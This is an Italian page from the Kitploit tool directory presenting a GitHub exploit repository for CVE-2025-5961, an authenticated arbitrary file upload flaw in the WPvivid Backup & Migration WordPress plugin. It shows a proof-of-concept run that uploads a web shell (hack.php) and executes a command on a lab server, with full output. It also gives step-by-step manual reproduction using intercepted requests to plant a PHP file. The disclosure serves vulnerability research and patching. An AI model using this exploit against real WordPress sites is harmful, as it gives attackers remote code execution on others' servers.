Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-5961 — Migrazione, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Autenticato (Amministratore+) Caricamento Arbitrario di File | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-5961
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubd0n601/cve-2025-5961

CVE-2025-5961

Migrazione, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Autenticato (Amministratore+) Caricamento Arbitrario di File

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-5961

Migrazione, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Caricamento Arbitrario di File Autenticato (Amministratore+)

Il plugin wpvivid-backuprestore non sanitizza i tipi di file dell'azione wpvivid_upload_import_files, consentendo agli amministratori o superiori di caricare file arbitrari e di ottenere potenzialmente l'esecuzione di codice sul server. NOTA: i file caricati sono accessibili solo su istanze WordPress eseguite sul server web NGINX, poiché il file .htaccess esistente nella cartella di destinazione per il caricamento dei file impedisce l'accesso sui server Apache.

TL;DR Exploit

  • Viene fornito un POC CVE-2025-5961.py per dimostrare il caricamento da parte di un amministratore di una web shell denominata hack.php.
root@kitploit:~
 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Dettagli

L'azione wpvivid_upload_import_files chiama la funzione upload_files alla riga 2210 di /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php senza applicare alcuna validazione del tipo di file.

Alla riga 2235 $file_name viene impostata come segue:

root@kitploit:~
$file_name=basename(sanitize_text_field($_POST['name']));

La variabile $file_name viene quindi utilizzata alla riga 2246 per scrivere il file sul file system.

root@kitploit:~
$file_handle = fopen($path.$file_name, 'wb');

Riproduzione Manuale

  1. Creare un file dannoso per superare la validazione lato front-end, poiché stiamo procedendo manualmente. Inserire questo comando nel terminale:
root@kitploit:~
echo "<?php phpinfo(); ?>" >>  wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
  1. Accedere al pannello di amministrazione e andare alla scheda WPvivid Backup.
  2. Selezionare l'opzione Export & Import dal menu laterale, quindi selezionare la scheda Import.
  3. Avviare Burp Suite o uno strumento simile e iniziare a intercettare il traffico.
  4. Fare clic sul pulsante Upload and Import e selezionare il file wpvivid-0000000000000_1969-04-20-00-00_export_post.zip creato al punto zero. test1
  5. La prima richiesta POST conterrà qualcosa di simile al seguente; inoltrare questa richiesta:
root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
  1. Modificare la richiesta successiva contenente i dati del form per impostare il nome del file su poc.php: test2
  2. Navigare su https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php per eseguire la prova di concetto. test3
Scarica lo strumento